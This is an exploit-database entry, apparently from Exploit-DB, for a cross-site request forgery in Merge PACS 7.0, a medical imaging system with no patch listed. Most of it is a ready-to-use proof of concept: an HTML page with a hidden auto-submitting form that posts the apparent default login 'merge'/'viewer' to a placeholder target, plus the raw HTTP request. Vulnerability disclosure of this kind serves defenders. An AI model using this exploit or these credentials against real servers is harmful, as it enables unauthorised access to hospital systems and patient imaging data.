header-logo
Suggest Exploit
vendor:
Merge PACS
by:
Safak Aslan
7.8
CVSS
HIGH
Cross-Site Request Forgery
352
CWE
Product Name: Merge PACS
Affected Version From: Merge PACS 7.0
Affected Version To: Merge PACS 7.0
Patch Exists: NO
Related CWE: N/A
CPE: a:merge_healthcare:merge_pacs:7.0
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows
2018

Merge PACS 7.0 – Cross-Site Request Forgery

Merge PACS 7.0 is vulnerable to Cross-Site Request Forgery. An attacker can craft a malicious HTML page that contains a form with hidden parameters and submit it to the target server. This can be used to perform malicious actions on behalf of the user.

Mitigation:

Implementing a security policy that requires user authentication for all requests and validating all input parameters.
Source

Exploit-DB raw data:

# Exploit Title: Merge PACS 7.0 - Cross-Site Request Forgery
# Google Dork: -
# Date: 2018-05-21
# Exploit Author: Safak Aslan
# Vendor Homepage: http://www.merge.com/
# Version:  Merge PACS 7.0
# Tested on: Windows
# CVE: -
 
# 1. Proof of Concept

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://targetIP/servlet/actions/merge-viewer/summary" method="POST">
      <input type="hidden" name="amicasUsername" value="merge" />
      <input type="hidden" name="password" value="viewer" />
      <input type="hidden" name="submitButton" value="Login" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Post Data:

POST /servlet/actions/merge-viewer/summary HTTP/1.1
Host: targetIP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en,tr-TR;q=0.8,tr;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://targetIP/servlet/actions/merge-viewer/login?redirectTo=https%3A%2F%2FtargetIP%2Fservlet%2Factions%2Fmerge-viewer%2Fsummary
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Cookie: JSESSIONID=6846606B53045FE6474A57C71719C93D
Connection: close
Upgrade-Insecure-Requests: 1

amicasUsername=merge&password=viewer&submitButton=Login